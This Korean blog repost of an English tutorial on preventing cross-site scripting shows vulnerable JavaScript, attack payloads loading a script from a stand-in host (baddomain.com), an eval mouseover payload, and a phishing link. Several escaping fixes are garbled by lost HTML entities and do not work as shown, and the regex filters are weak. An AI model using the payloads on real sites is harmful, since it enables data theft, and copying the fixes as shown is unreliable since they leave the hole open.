2008년 12월 31일
xss
자바스크립트(JavaScript) 단에서 1차 막고
서버(JSP) 단에서 2차로 막아주는군요.
Preventing Cross Site Scripting Attacks
Cross site scripting (XSS) is basically using JavaScript to executeJavaScript from an unwanted domain in a page. Such scripts could exposeany data in a page that is accessible by JavaScript including, cookies,form data, or content to a 3rd party. Here is how you can prevent yourweb pages from being exploited on both the client and the server. Thisis followed with tips on how to avoid vulnerable sites.
- Escape parameters and User Input- The safest step you can take is to escape all parameters to a pagewhere the parameters are displayed in the content.The same applies forany user input that may be displayed or re-displayed in a web pagerendered by a server. The downside is that your users can not providemarkup.
- Remove
eval(),javascript, andscriptfrom User Provided Markup - If you allow users to provide markup in any part of your application that is displayed in a page make sure to removeeval()andjavascript:calls from element attributes including styles as they can be used to execute JavaScript. Also remove script blocks. - Filter User Input on the Server- You should always filter user input that is stored or processed on aserver because URLs and GET/POST requests can be created manually.
- Use Caution with Dynamic Script Injection- Be careful when dynamically injecting external scripts to retrieveJSON based data as you are potentially exposing everything accessibleby JavaScript.
- Avoid XSS Phishing Attacks - Be aware of sites that contain vulnerabilities and phishing style attacks containing external script references.
Escape Parameters and User Input
This is the classic XSS attack that can open your service or webapplication up to hackers. By design the site displays a user's id thatis passed in as a URL parameter. The following script will take the idand display a welcome message.
<script type="text/javascript">
var start = window.location.href.indexOf("id");
var stop = window.location.href.length;
var id = "guest";
if (start < stop) {
id = decodeURIComponent(window.location.href.substring(start,stop));
}
document.write("Hi " + id);
</script>
A request to the URL index.html?id=greg (assuming the page containing the script is index.html) will result in:
Hi greg
What would happen if instead of "greg" I used the following URL:
index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js%22%3E%3C/script%3E
http://baddomain.com/badscript.jswhich contains malicious code from a different domain. This script willbe evaluated when the page is loaded putting the page and all the datain it at risk. To prevent from these types of attacks your client code shouldalways escape "<" and ">" parameters that are displayed orevaluated by JavaScript code.
You can do this with a simple line of code as can be seen in the next example.
<script type="text/javascript">
var start = window.location.href.indexOf("id");
var stop = window.location.href.length;
var id = "guest";
if (start < stop) {
id = decodeURIComponent(window.location.href.substring(start,stop));
< span>
}
document.write("hi " + id);
</script>
Consider the following containing a form where a user enters a description that will be visible to other users.
<html>
<head>
<script type="text/javascript">
function displayName() {
var description = document.getElementById("description").value;
var display = document.getElementById("display");
display.innerHTML = description;
}
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>
Seems innocent enough right? Try including the following content in the text area.
<aonmouseover="eval('s=document.createElement(\'script\');document.body.appendChild(s); s.src=\'badscript.js\'')">Mouse OverMe</a>
A mouseover of the link will cause a script in a badscript.jsto be loaded. This script could also pass along cookies or any otherinformation it wanted to as parameters of the "s.src" URL. Unlike thefirst example where the user would need to click on a bad link thistype of attack requires a simple mouseover to load the badscript.js.
So the question now comes to mind: 'How do you protect your web page from being being exploited?'
Alongwith the parameters you should escape form input. If you plan to allowusers to provide their own markup consider the next solution titled Removeeval(), javascript, and script from User Provided Markup. The following code shows how to escape markup on the client.
<html>
<head>
<script type="text/javascript">
function displayName() {
var description = document.getElementById("description").value;
var display = document.getElementById("display");
description = description .replace(//g, ">");
display.innerHTML = description;
}
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>
The code description = description.replace(//g, ">"); filters the user input and prevents unwanted scripts from being executed.
Now that we have looked at how to prevent most attacks the nextsection focuses on cases where you want to allow users to providemarkup that does not contain malicious code.
Remove eval(), javascript:, and script from User Provided Markup
There may be cases where you want to allow a user to add markup suchas links or HTML content that is displayed for other users to see.Consider a blog that allows for HTML markup, user provided URLs, HTMLcomments, or any other markup. The solution would be to filter allmarkup before it is displayed in a page or before it is sent to aserver or service. The following example shows how to allow for someHTML markup while preventing malicious code.
<html>
<head>
<script type="text/javascript">
function displayName() {
var description = document.getElementById("description").value;
var display = document.getElementById("display");
description.replace(/[\"\'][\s]*javascript:(.*)[\"\']/g, "\"\"");
description = description.replace(/script(.*)/g, "");
description = description.replace(/eval\((.*)\)/g, "");
display.innerHTML = description;
}
</script>
</head>
<body>
<form onsubmit="displayName();return false;">
<textarea id="description" type="text" cols="55" rows="5"></textarea>
<input type="submit" value="Show Description">
</form>
<div id="display"></div>
</body>
</html>
The example above removes all eval(), javascript and scriptreferences that may be entered in the description field. Thereplacement here is not a perfect as it may replace legitimate uses ofthe words javascript and script in the body of a document. You mayconsider refining the regular expressions to only look in tagattributes for example and to remove full scripts. There are otherconsiderations you should keep in mind when filtering client code suchas line breaks, charsets, case sensitivity which are commonly exploitedin attacks. As some browsers will allow you to specify JavaScript callsfrom CSS styles you should also consider searching user provided CSSstyles as well.
Filter User Input on the Server
Most of the problems related to cross site scripting are because ofpoorly designed clients. Servers can also unwillingly becomeparticipants in cross domain scripting attacks if they redisplayunfiltered user input. Consider the following example where a hackermanually makes a HTTP POST request to set the homepage URL with thefollowing.
<a href="javascipt:eval('alert(\'bad\')');">Click Me</a>
The URL would end up being stored as is on the server as is andexpose any user that clicks on the URL to the JavaScript. The exampleabove seems innocent enough but consider what would happen if in placeof an alert('bad') the "javascript" contained malicious code. Toprevent such attacks you should filter user input on the server. Thefollowing Java example shows how to use regular expression replacementto filter user input.
String description = request.getParameter("description");
description = description.replaceAll("<", "<").replaceAll(">", ">");
description = description.replaceAll("eval\\((.*)\\)", "");
description = description.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
description = description.replaceAll("script", "");
The code above removes eval() calls, javascript: calls, and scriptreferences the replacement here is not a perfect as it may replacelegitimate uses of the words javascript and script in the body of adocument. The code above may be applied using a servlet, servletfilter, or JSF component on all input parameters or on a per parameterbasis depending on what how much markup you would like to allow usersto provide. You may want refine the regular expressions that filter thecontent to handle more or consider a Java library built thatspecializes in removing malicious code.
Use Caution with Dynamic Script Injection
Dynamic script injection to retrieve JSON data (also known as JSONP)can be powerful and useful as it decouples your client from the serverof origin. There is still a bit of debate over using JSONP as someconsider it as a hack or security hole in JavaScript because when youdynamically include a reference to a 3rd party script you are givingthat script full access to everything in your page. That script couldgo on to inject other scripts or do pretty much whatever it wanted.
If you choose to use JSONP make sure you trust the site for whichyou are interacting with. There is nothing stopping a JSONP providerfrom including unwanted script with JSONP data. One alternative wouldbe to provide a proxy service which you can control the output, restrict access to, and can cache as needed.
Avoid XSS Phishing Attacks
This next recommendation focuses on protecting yourself as a userfrom a site that is vulnerable to cross site scripting attacks.
Phishing attacks, or attacks where what appears to be a valid URLlinks to a fraudulent web page who's purpose is to collect a usersdata, are nothing new to the web world. A related attack involves crosssite scripting attacks where a URL to a legitimate site that has across site scripting vulnerability contains a script reference. Such alink may appear in an email message, blog posting/comment, or otheruser generated content that contains a URL. Clicking a link to a sitecontaining a cross site scripting vulnerability would cause a 3rd partyscript to be included along with your request and could expose yourpassword, user id, or any other data. Consider the following example:
<ahref="http://foobar.com/index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js%22%3E%3C/script%3E">Seefoobar</a>
A quick look at the URL shows it references the site http://foobar.com/index.html. An unsuspecting user may not see the script included as a parameter later in the URL.
It is also wise to always look at carefully at URLs and the URLparameters that are provided with them. URLs will always appear in thestatus bar of your browser as and you should always look for externalscript reference. Another solution would be to manually type in linksinto the URL bar of your browser if a link is suspect.
Be aware of sites known to have vulnerabilities and be very careful with any personal data you provide those sites.
While JavaScript based interfaces can be very flexible you need tobe very careful with all user provided input whether it be asparameters or form data. Always make sure to escape or filter input onthe both the client and server. As a user you should be cautious not tobecome a victim of a vulnerable site. It's better to be safe than inthe news!
What other things do you do to prevent XSS attacks?
자료 출처: http://weblogs.java.net/blog/gmurray71/archive/2006/09/preventing_cros.html
# by | 2008/12/31 08:39 | :::::거침없이 테크닉::::: | 트랙백 | 덧글(0)



































